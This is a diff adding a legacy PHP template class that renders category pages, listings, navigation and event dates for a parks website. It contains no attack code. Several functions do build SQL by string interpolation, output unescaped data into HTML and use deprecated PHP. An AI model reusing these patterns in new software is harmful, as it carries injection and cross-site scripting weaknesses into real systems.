+ * set_DB: set the DB up to be that of the global one if it exists
+ * @param $$DB : the DB object
+ *
+ * @return void
+ * @access public
+ **/
+ function set_DB( $DB )
+ {
+ if( isset( $DB ) )
+ {
+ $this->DB =& $DB;
+ }
+ else
+ {
+ $this->DB =& new GLM_DB();
+ }
+ }
+
+ /**
+ * set_pages: grab the globals for the pages an use this for
+ the pages array for the class
+ *
+ * @return void
+ * @access public
+ **/
+ function set_pages( $pages )
+ {
+ if( is_array( $pages ) )
+ {
+ $this->pages =& $pages;
+ }
+ }
+
+ /**
+ * set_catid:Set the class catid var
+ * @param $catid: $catid
+ *
+ * @return void
+ * @access public
+ **/
+ function set_catid( $catid )
+ {
+ if( is_numeric( $catid ) )
+ {
+ $this->catid = $catid;
+ }
+ else
+ {
+ $this->catid = 1;
+ }
+ }
+
+ function set_id( $id )
+ {
+ if( is_numeric( $id ) )
+ {
+ $this->id = $id;
+ }
+ else
+ {
+ $this->id = 1;
+ }
+ }
+
+ /**
+ * set_contact:Set the contact string
+
+ * @param $text: The text as string
+ * @param $email: email if givin
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_contact( $text, $email )
+ {
+ if( $email != "" )
+ {
+ $text = "";
+ }
+ else
+ {
+ $text = '<p><strong>Contact Name:</strong> '.$text.'</p>';
+ }
+ return($text);
+ }
+
+ /**
+ * set_text:Set the contact string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_text( $text )
+ {
+ if("" == str_replace("<br />","",trim($text)))
+ {
+ return(false);
+ }
+ if( $text != "" )
+ {
+ $text = str_replace( "<a href=","<a target=\"_blank\" href=", $text );
+ $text = $this->keyword_replace( $text );
+ $text = nl2br( $text );
+ }
+ return($text);
+ }
+
+ /**
+ * set_img:Set the image string
+ * @param $image: The image
+ * @param $size: The path
+ * @param $align: The alignment
+ * @param $name: The image_name (displayed under image)
+ * @param $title: Title if given
+ *
+ * @return
+ * @access
+ **/
+ function set_img( $image, $align, $title )
+ {
+ if( $image != "" )
+ {
+ if( $title != '')
+ {
+ $titletag = 'title="'.strip_tags($title).'"';
+ }
+ if( $align != "" )
+ {
+ $img_align = 'align="'.$align.'"';
+ }
+ $this->imgfloat["$image"] = $align;
+ if( is_file( ORIGINAL_PATH.$image ) )
+ {
+ $size2 = getimagesize(ORIGINAL_PATH.$image);
+ $width = $size2[0] + 0;
+ $height = $size2[1] + 0;
+ if( !$this->catimg )
+ {
+ //$img = '<div class="listingimage">';
+ }
+ $img .= '<a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$image.'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.$this->img_size.$image.'" alt="'.$image.'" '.$titletag.' border="0"></a>';
+ if( $title )
+ {
+ $img .= '<div class="imgcap">'.$title.'</div>';
+ }
+ if( !$this->catimg )
+ {
+ //$img .= '</div>';
+ }
+ return( '<div class="img">'.$img.'</div>' );
+ }
+ }
+ }
+
+ /**
+ * set_url:Set the url string
+ * @param $url: The url
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_url( $url, $text )
+ {
+ if( $url != "" )
+ {
+ if( !$text )
+ {
+ $text = $url;
+ }
+ if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+ {
+ $url = '<p><a href="'.$url.'" target="_blank">'.$text.'</a></p>';
+ }
+ else
+ {
+ $url = '<p><a href="http://'.$url.'" target="_blank">'.$text.'</a></p>';
+ }
+ }
+ return( $url );
+ }
+
+ /**
+ * set_email:Set the email string
+ * @param $email: The email as string
+ * @param $contact: The contactname this is used as the link text
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_email( $email, $contact )
+ {
+ if( $email != "" )
+ {
+ if( $contact != "" )
+ {
+ $email = '<p><strong>Contact:</strong> <a href="mailto:'.$email.'" target="_blank">'.$contact.'</a></p>';
+ }
+ else
+ {
+ $email = '<p><strong>Email:</strong> <a href="mailto:'.$email.'" target="_blank">'.$email.'</a></p>';
+ }
+ }
+ return( $email );
+ }
+
+ /**
+ * set_header:Set the header string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_header( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->header_begin.$text.$this->header_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_subheader:Set the subheader string
+ * @param $text: The text as string
+
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_subheader( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->subheader_begin.$text.$this->subheader_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_phone:Set the phone string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_phone( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '<p><strong>Phone:</strong> '.$text.'</p>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_fax:Set the fax string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_fax( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '<p><strong>Fax:</strong> '.$text.'</p>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_file:Set the file string
+ * @param $text: The text as string
+ * @param $name: The file name displayed
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_file( $text, $name,$filetext )
+ {
+ if( $text != "" )
+ {
+ $outtext = '<p><a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+ if($name)
+ {
+ $outtext .= $name;
+ }
+ else
+ {
+ $outtext .= $text;
+ }
+ $outtext .= '</a>';
+ if( $filetext )
+ {
+ $outtext .= '<br>'.$filetext;
+ }
+ $outtext .= '</p>';
+ }
+ return( $outtext );
+ }
+
+ /**
+ * set_address:set_address
+ * @param $data: data contain the address info for display.
+ *
+ * @return string $address
+ * @access
+ **/
+ function set_address( $data )
+ {
+ $address = "";
+ if( $data["address"] )
+ {
+ $address .= $data["address"];
+ }
+ if( $data["city"] && $data["state"] && $data["zip"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+ }
+ elseif( $data["city"] && $data["state"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"];
+ }
+ elseif( $data["city"] )
+ {
+ $address .= '<br>'.$data["city"];
+ }
+ if( $address != "" )
+ {
+ return( '<p>'.$address.'<br></p>' );
+ }
+ }
+
+ function get_template()
+ {
+ $query = "select template from bus_category where id = ".$this->catid.";";
+ $data = $this->DB->db_auto_get_data( $query );
+ return( $data[0]['template'] );
+ }
+ /**
+ * get_all:Does the query and set_data calls boths arrays
+ *
+ * @return void
+ * @access
+ **/
+ function get_all()
+ {
+ $catid = $this->catid;
+ $template = $this->get_template();
+ switch($template)
+ {
+ case "5":
+ $this->img_align = "right";
+ $this->img_alternate = 1;
+ break;
+
+ case "4";
+ $this->img_align = "right";
+ $this->img_alternate = 1;
+ break;
+
+ case "3";
+ $this->img_align = "left";
+ $this->img_alternate = 1;
+ break;
+
+ case "2":
+ $this->img_align = "left";
+ $this->img_alternate = 0;
+ break;
+
+ case "1";
+ $this->img_align = "right";
+ $this->img_alternate = 0;
+ break;
+
+ default:
+ break;
+ }
+ $this->catimg = 1;
+ $cat_query = "SELECT *
+ FROM bus_category
+ WHERE id = $catid
+ AND active = 't'
+ ORDER BY pos";
+ $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+ $this->data = $res[0];
+ $this->catimg = 0;
+ $item_query = "SELECT b.*
+ FROM bus b LEFT OUTER JOIN bus_category_bus bcb
+ ON (bcb.busid = b.id)
+ WHERE bcb.catid = $catid
+ ORDER BY bcb.pos";
+ $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+ }
+
+ /**
+ * set_data:Calls each function of the class
+ * based on the key af the array $data[0][$key]
+ * @param $data: The input array from db query
+ *
+ * @return array data The finished array
+ * @access
+ **/
+ function set_data( $data )
+ {
+ if( is_array( $data ) )
+ {
+ foreach( $data as $k => $val )
+ {
+ foreach( $val as $key => $value )
+ {
+ if( strstr( $key, "image" ) && $value != "" )
+ {
+ $titletag = ( $data[$k]['category'] ) ? $data[$k]['category'] : $data[$k]['name'];
+ $data[$k][$key."_name"] = $value;
+ $data[$k][$key] = $this->set_img( $value, $this->img_align, $data[$k][$key."name"] );
+ if( !strstr( $key, "name" ) )
+ {
+ if( $this->img_align == "right" && $this->img_alternate )
+ {
+ $this->img_align = "left";
+ }
+ elseif( $this->img_alternate )
+ {
+ $this->img_align = "right";
+ }
+ }
+ }
+ elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"descr") && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ elseif( $key == "contactname" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+ }
+ elseif($key == "name" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( strstr( $key, "header" ) && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( $key == "intro" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "category" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "url" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+ }
+ elseif( $key == "email" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+ }
+ elseif( $key == "phone" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+ }
+ elseif( $key == "fax" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+ }
+ elseif (strstr( $key, "file" ) && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'],$data[$k][$key."text"] );
+ }
+ elseif( $key == "address" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_address( $data[$k] );
+ }
+ elseif( $key == "id" )
+ {
+ $data[$k][$key] = $value;
+ }
+ else
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ }
+ }
+ return( $data );
+ }
+ return( false );
+ }
+
+ /**
+ * load_static_page:using object buffer include the page $catid.phtml from static dir
+ and return it as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function load_static_page()
+ {
+ if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+ {
+ ob_start();
+ include("static/".$this->catid.".phtml");
+ $text = ob_get_contents();
+ ob_end_clean();
+ return($text);
+ }
+ }
+
+ /**
+ * clean_text:Do some text clean up.
+ * @param $output:
+ *
+ * @return string text cleaned
+ * @access
+ **/
+ function clean_text($output)
+ {
+ $output = str_replace("<br />","<br>",$output);
+ $output = str_replace("<p><br></p>","",$output);
+ return($output);
+ }
+
+ /**
+ * get_category: grab just category contents
+ * @param $catid: id of bus_category
+ * @param $DB:
+ * @param $$showimg=1: weather or not to show category image
+ *
+ * @return string $output
+ * @access public
+ **/
+ function get_category( $showimg = 1,$showbread = 1 )
+ {
+ if( $showbread == 1 )
+ {
+ $output .= $this->print_ancesters( $this->catid );
+ }
+ $cat_query = "SELECT *
+ FROM bus_category
+ WHERE id = ".$this->catid." AND active='t'
+ ORDER BY pos";
+ //$res = GLM_TEMPLATE::set_data($DB->db_auto_get_data($cat_query));
+ if( !is_array( $this->data ) )
+ {
+ $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+ $data = $res[0];
+ }
+ else
+ {
+ $data = $this->data;
+ }
+ $output .= '<div id="category">';
+ if($data["image"] || $data["description"] || $data["intro"] )
+ {
+ //$output .=$data["intro"]." ";
+ if($showimg == 1)
+ {
+ $output .= '<div id="resourcebox">'.$data["image"].'<br>'.$data["imagename"]."</div>";
+ }
+ $output .=$data["intro"]." ";
+ if( $this->catid == 162 )
+ {
+ $output .= $this->load_static_page();
+ }
+ $output .=$data["description"]." ";
+ }
+ else
+ {
+ if( $this->catid == 162 )
+ {
+ $output .= $this->load_static_page();
+ }
+ }
+ $output .= '</div>';
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+
+ }
+
+ /**
+ * has_events: check to see if this park has events
+ * @param $$id : park id
+ *
+ * @return bool
+ * @access public
+ **/
+ function has_events( $id )
+ {
+ $query = "select id from event where topicid = $id and edate >= CURRENT_DATE";
+ $data = $this->DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+ /**
+ * has_photos: function to check to see if this catid has any sub that are photos
+ * NOTE: this is only run for the parks section.
+ * @param $$id :
+ *
+ * @return
+ * @access
+ **/
+ function has_photos( $id )
+ {
+ $query = "select id from bus_category where parent = $id and type = 1 and active = 't';";
+ $data = $this->DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+
+ /**
+ * has_books: function to check to see if this catid has any sub that are books
+ * NOTE: this is only run for the parks section.
+ * @param $$id :
+ *
+ * @return
+ * @access
+ **/
+ function has_books( $id )
+ {
+ $query = "select id from bus_category where parent = $id and type = 3 and active = 't';";
+ $data = $this->DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ /**
+ * has_jobs: function to check to see if this catid has any sub that are jobs
+ * NOTE: this is only run for the parks section.
+ * @param $$id :
+ *
+ * @return
+ * @access
+ **/
+ function has_jobs( $id )
+ {
+ $query = "select postype from availposition where postype = $id;";
+ $data = $this->DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+ /**
+ * has_exhibits: function to check to see if this catid has any sub that are exhibits
+ * NOTE: this is only run for the parks section.
+ * @param $$id :
+ *
+ * @return
+ * @access
+ **/
+ function has_exhibits( $id )
+ {
+ $query = "select id from bus_category where parent = $id and type = 2 and active = 't';";
+ $data = $this->DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+ /**
+ * get_parks_page: custom page builder for the parks site
+ *
+ * @return string $out
+ * @access public
+ **/
+ function get_parks_page()
+ {
+ if( $park = $this->under_parks( $this->catid ) )
+ {
+ $out .= $this->get_resources( $park );
+ $out .= $this->get_page( 0 );
+ }
+ else
+ {
+ $out .= $this->get_page();
+ }
+ return( $out );
+ }
+
+ /**
+ * get_resources:
+ *
+ * @return
+ * @access
+ **/
+ function get_resources( $park )
+ {
+ switch( $park )
+ {
+ case 1:
+ $return = true;
+ break;
+
+ case 6:
+ $logo = '<img src="'.BASE_URL.'assets/parks/logo-fm.gif" width="225" height="117" alt="logo-fm">';
+ break;
+
+ case 7:
+ $logo = '<img src="'.BASE_URL.'assets/parks/logo-cm.gif" width="225" height="117" alt="logo-cm">';
+ break;
+
+ case 8:
+ $logo = '<div id="textlogo">Historic Downtown</div>';//'<img src="'.BASE_URL.'assets/parks/logo-hd.gif" width="225" height="117" alt="logo-hd">';
+ break;
+
+ case 9:
+ $logo = '<img src="'.BASE_URL.'assets/parks/logo-misp.gif" width="225" height="117" alt="logo-misp">';
+ break;
+
+ case 10:
+ $logo = '<img src="'.BASE_URL.'assets/parks/logo-hmc.gif" width="225" height="117" alt="logo-hmc">';
+ break;
+
+ case 11:
+ $logo = '<img src="'.BASE_URL.'assets/parks/logo-ompl.gif" width="225" height="117" alt="logo-ompl">';
+ break;
+
+ }
+ $query = "select image,imagename from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ if( is_file( RESIZED_PATH.$data[0]['image'] ) )
+ {
+ $size2 = getimagesize(ORIGINAL_PATH.$data[0]["image"]);
+ $width = $size2[0] + 0;
+ $height = $size2[1] + 0;
+ $image = '<a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$data[0]["image"].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img border="0" src="'.RESIZED.$data[0]["image"].'" alt="'.$data[0]['image'].'"></a>';
+ }
+ if( $return == 1 )
+ {
+ return( false );
+ }
+ $image_caption = ( $data[0]['imagename'] ) ? '<br>'.strip_tags( $data[0]['imagename'] ):'';
+ $out .= '<div id="resourcebox">
+ '.$logo.'
+ '.$image.'
+ '.$image_caption.'
+ <div id="moreres">More information about '.$this->get_catheader($park,$this->DB).':</div>';
+ if($this->tours[$park])
+ {
+ $out .= '<a href="'.$this->tours[$park].'"><img class="icon" src="'.BASE_URL.'assets/icons/virtual.gif" width="58" height="56" alt="virtual (1K)"></a>';
+ }
+ if( $this->maps[$park] )
+ $out .= '<a href="'.BASE_URL.'parks/'.$this->get_seo_url($this->maps[$park]).'"><img class="icon" src="'.BASE_URL.'assets/icons/map.gif" width="41" height="56" alt="map (1K)"></a>
+ ';
+ if( $this->has_photos( $park ) )
+ {
+ $out .= '<a href="'.BASE_URL.'photos/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/photos.gif" width="36" height="56" alt="photos (1K)"></a>
+ ';
+ }
+ if( $this->has_exhibits( $park ) )
+ {
+ $out .= '<a href="'.BASE_URL.'exhibits/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/exhibits.gif" width="42" height="56" alt="exhibits (1K)"></a>';
+ }
+
+ if( $this->has_books( $park ) )
+ {
+ $out .= '<a href="'.BASE_URL.'books/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/books.gif" width="33" height="56" alt="books (1K)"></a>';
+ }
+
+// if( $this->has_jobs( $this->catid ) )
+// {
+ $out .= '<a href="'.BASE_URL.'jobs/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/jobs.gif" width="25" height="56" alt="jobs (1K)"></a>';
+// }
+
+ $out .= '</div>';
+ return( $out );
+ }
+
+ /**
+ * get_page: replacing template_parser with get-page function
+ *
+ * @return
+ * @access
+ **/
+ function get_page( $showimg = 1 )
+ {
+ if( !is_array( $this->data ) )
+ {
+ $this->get_all();
+ }
+ $out .= $this->get_category( $showimg );
+ $out .= $this->get_listings();
+ if( $this->news[$this->catid] )
+ {
+ require_once('classes/class_news.inc');
+ $News =& new GLM_NEWS( $this->news[$this->catid] );
+ $out .= $News->get_news_page();
+
+ }
+ if( $this->catid == 60 )
+ {
+ require_once('classes/class_exhibits.inc');
+ $Exhibits =& new GLM_EXHIBITS( $this->catid );
+ $out .= $Exhibits->get_all_exhibits();
+ }
+ if( $this->catid == 17 )
+ {
+ require_once('classes/class_news.inc');
+ $News =& new GLM_NEWS( $this->catid );
+ $out .= $News->get_all_news();
+ }
+ return( $out );
+ }
+
+ function get_img_name( $id )
+ {
+ $query = "select image from bus where id = $id;";
+ $data = $this->DB->db_auto_get_data( $query );
+ return( $data[0]['image'] );
+ }
+
+ /**
+ * template_parser:This function creates data
+ * and items arrays and does the output for the page.
+ *
+ * @return void
+ * @access
+ **/
+ function get_listings()
+ {
+ // grab category and items into data and items respectfully
+ if( !is_array( $this->data ) )
+ {
+ $this->get_all();
+ }
+
+ // load any static category page from the static directory
+ // hard codded content would have $catid.phtml page for it
+ if( $this->catid != 162 )
+ {
+ $output .= $this->load_static_page();
+ }
+ /*
+ echo '<pre>';
+ print_r($this->imgfloat);
+ echo '</pre>';
+ */
+ switch($this->type)
+ {
+
+ default:
+ if(is_array($this->items))
+ {
+ foreach($this->items as $key=>$val)
+ {
+
+ $img = $this->get_img_name( $val['id'] );
+ $float = $this->imgfloat[$img];
+ switch( $float )
+ {
+ case "left":
+ $output .= '<div class="listingleft">';
+ break;
+
+ case "right":
+ $output .= '<div class="listingright">';
+ break;
+
+ default:
+ $output .= '<div class="listing">';
+ break;
+ }
+ // items can be moved around as needed
+ //$output .= '<div class="listing">';
+ $output .= '<br clear="all"><br>';
+ $output .= $val["image"];
+ $output .= $val["name"];
+ $output .= $val["address"];
+ $output .= $val["description"];
+ $output .= $val["contactname"];
+ $output .= $val["email"];
+ $output .= $val["phone"];
+ $output .= $val["fax"];
+ $output .= $val["url"];
+ $output .= $val["file"];
+ $output .= $val["file2"];
+ $output .= $val["file3"];
+ $output .= '</div>';
+ }
+ }
+ break;
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+ }
+
+ /**
+ * sub_nav:Create a sub navigation
+ * @param $catid: The catid for the page
+ *
+ * @return void
+ * @access
+ **/
+ function sub_nav( $catid,$level = 1 )
+ {
+ if( $this->in_parks( $catid ) )
+ {
+ $query = "select id,category from bus_category where id = ".$this->catid;
+ }
+ else
+ {
+ $top = $this->get_parentid( $catid, &$this->DB );
+ $query = "SELECT id,category FROM bus_category WHERE active = 't' and parent = $top ORDER BY pos";
+ }
+ $data = $this->DB->db_auto_get_data($query);
+ if( is_array( $data ) )
+ {
+ $out .= '<div id="navleftcontainer"><ul id="navlist">';
+ if( $top == 26)
+ {
+ $active = ( $GLOBALS['fulltime'] == 'TRUE' ) ? ' class="active"' : '';
+ $out .= '<li><a'.$active.' href="'.BASE_URL.'jobs.phtml?fulltime=TRUE">Fulltime Positions</a></li>';
+ $active = ( $GLOBALS['seasonal'] == 'TRUE' ) ? ' class="active"' : '';
+ $out .= '<li><a'.$active.' href="'.BASE_URL.'jobs.phtml?seasonal=TRUE">Seasonal Positions</a></li>';
+ }
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ $page = $this->get_base_url( $val['id'] );
+ $page_name = $this->get_seo_url( $val['id'] );
+ $active = ( $catid == $val['id'] ) ? $active = ' class="active"' : '';
+ $out .= '<li><a'.$active.' href="'.URL_BASE.$page.'/'.$page_name.'">';
+ $out .= $val["category"];
+ $out .= '</a></li>';
+ if( $this->has_subs( $val['id'], &$this->DB ) && ( $this->is_sub_id( $catid, $val['id'],
+ &$this->DB ) ) || $val['id'] == 26 )
+ {
+ //$out .= $this->sub_nav( $val['id'], 0 );
+ $out .= '<li><ul>';
+ $query = "SELECT id,category,type,parent FROM bus_category WHERE active = 't' and parent = ".$val['id']." ORDER BY pos desc";
+ $sub_data = $this->DB->db_auto_get_data( $query );
+
+ if( $val['id'] == 26 )
+ {
+ $sub_data[] = array('id'=>'fulltime','category'=>'Fulltime Positions','link'=>BASE_URL.'jobs.phtml?fulltime=TRUE');
+ $sub_data[] = array('id'=>'seasonal','category'=>'Seasonal Positions','link'=>BASE_URL.'jobs.phtml?seasonal=TRUE');
+ }
+ $sub_data = array_reverse($sub_data);
+ if( is_array( $sub_data ) )
+ {
+ foreach( $sub_data as $key2 => $val2 )
+ {
+ if( $val2['link'] )
+ {
+ $page = '';
+ $page_name = $val2['link'];
+ $active = ( $GLOBALS[$val2['id']] == 'TRUE' ) ? $active = ' class="active"' : '';
+ $out .= '<li><a'.$active.' href="'.$page_name.'">';
+ $out .= $val2["category"];
+ $out .= '</a></li>';
+ }
+ else
+ {
+ $page = $this->get_base_url( $val2['id'] );
+ $page_name = $this->get_seo_url( $val2['id'] );
+ switch( $val2['type'] )
+ {
+ case 1:
+ $page = 'photos';
+ $page_name = $this->get_seo_url( $val2['parent'] );
+ break;
+
+ case 2:
+ $page = 'exhibits';
+ $page_name = $this->get_seo_url( $val2['parent'] );
+ break;
+
+ case 3:
+ $page = 'books';
+ $page_name = $this->get_seo_url( $val2['parent'] );
+ break;
+ }
+ if( $this->is_sub_id( $val2['id'], 500, $this->DB ) && $val2['id'] != 500 )
+ {
+ $page = 'gallery';
+ }
+ $active = ( $catid == $val2['id'] ) ? $active = ' class="active"' : '';
+ $out .= '<li><a'.$active.' href="'.URL_BASE.''.$page.'/'.$page_name.'">';
+ $out .= $val2["category"];
+ $out .= '</a></li>';
+ }
+ if( $this->has_subs( $val['id'], $this->DB ) && ( $this->is_sub_id( $catid, $val2['id'], $this->DB ) ) )
+ {
+ $query3 = "SELECT id,category,type,parent FROM bus_category WHERE
+ active = 't' and parent = ".$val2['id']." ORDER BY pos";
+ $sub_data3 = $this->DB->db_auto_get_data( $query3 );
+ if( is_array( $sub_data3 ) )
+ {
+ $out .= '<li><ul>';
+ foreach( $sub_data3 as $key3 => $val3 )
+ {
+ $page = $this->get_base_url( $val3['id'] );
+ $page_name = $this->get_seo_url( $val3['id'] );
+ switch( $val3['type'] )
+ {
+ case 1:
+ $page = 'photos';
+ $page_name = $this->get_seo_url( $val3['parent'] );
+ break;
+
+ case 2:
+ $page = 'exhibits';
+ $page_name = $this->get_seo_url( $val3['parent'] );
+ break;
+
+ case 3:
+ $page = 'books';
+ $page_name = $this->get_seo_url( $val3['parent'] );
+ break;
+ }
+ if( $this->is_sub_id( $val3['id'], 500, $this->DB ) && $val3['id'] != 500 )
+ {
+ $page = 'gallery';
+ }
+ $active = ( $catid == $val3['id'] ) ? $active = ' class="active"' : '';
+ $out .= '<li><a'.$active.' href="'.URL_BASE.''.$page.'/'.$page_name.'">';
+ $out .= $val3["category"];
+ $out .= '</a></li>';
+ }
+ $out .= '</ul></li>';
+ }
+
+ }
+ }
+ }
+ $out .= '</ul></li>';
+ /*
+ */
+ }
+ }
+ $out .= '</ul></div>';
+ }
+ return( $out );
+ }
+
+ /**
+ * get_home_events: get events flaged as home events
+ * @param $DB: DB reference to DB obj
+
+ *
+ * @returnvoid
+ * @access
+ **/
+ function get_home_events(&$DB)
+ {
+ $query = "SET DATESTYLE TO 'SQL,US';SELECT id,header,substr(descr,0,30) as descr, bdate, edate
+ FROM event WHERE home = 't'";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ foreach($data as $key=>$value)
+ {
+ $id = $value['id'];
+ $header = $value['header'];
+ $sdate = strtotime($value['bdate']);
+ $edate = strtotime($value['edate']);
+ $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ $descr = $value['descr'];
+ $output .= "<div id=\"homeevent\">
+ <div id=\"homeeventtext\">
+ <h2>$header</h2>
+ <strong>$dates</strong>
+ <p>$descr</p>
+ <div class=\"homeeventmore\"><a href=\"events.phtml?eventid=$id\">details..</a></div>
+ </div>
+ </div>";
+ }
+ return($output);
+ }
+ }
+
+ /**
+ * get_event_date: make the event date human readable
+ * @param $sdate: start date
+ * @param $edate: end date
+ * @param $dateType: dateType Postgres,etc
+ *
+ * @return string
+ * @access
+ **/
+ function get_event_date($sdate,$edate,$dateType)
+ {
+ switch($dateType)
+ {
+ case "Postgres":
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+ {
+ $mon = $spt[1];
+ $day = $spt[2];
+ $yr = $spt[3];
+ }
+
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+ {
+ $mon2 = $ept[1];
+ $day2 = $ept[2];
+ $yr2 = $ept[3];
+ }
+ break;
+
+ case "timestamp":
+ $mon = date("m",$sdate);
+ $day = date("d",$sdate);
+ $yr = date("Y",$sdate);
+ $mon2 = date("m",$edate);
+ $day2 = date("d",$edate);
+ $yr2 = date("Y",$edate);
+ break;
+
+ }$start = mktime(0,0,0,$mon,$day,$yr);
+ $end = mktime(0,0,0,$mon2,$day2,$yr2);
+ if ($day == $day2 && $mon == $mon2 && $yr == $yr2)
+ {
+ $dateparam = "F jS, Y";
+ $date_begin = date($dateparam, $start) ;
+ $date_end = "";
+ }
+ elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ else
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+
+ return($date_begin." ".$date_end);
+ }
+
+ /**
+ * is_sub_id:Check to see if catid is sub of category
+ * @param $catid: the catid looking at
+ * @param $category: to see if it is in category
+ * @param $DB: Db object reference
+ *
+ * @return bool
+ * @access
+ **/
+ function is_sub_id($catid,$category,&$DB)
+ {
+ if($category==$catid)
+ {
+ return(true);
+ }
+ $query = "select id,parent from bus_category where id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ $parent = $data[0]['parent'];
+ if($parent == 0)
+ {
+ return(false);
+ }
+ else
+ {
+ return( GLM_TEMPLATE::is_sub_id($parent,$category,&$DB) );
+ }
+ }
+
+ /**
+ * get_parent: get parent for this category
+ * @param $catid: id
+ * @param $DB: database obj
+ *
+ * @return int $parent
+ * @access
+ **/
+ function get_parent($catid,&$DB)
+ {
+ $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
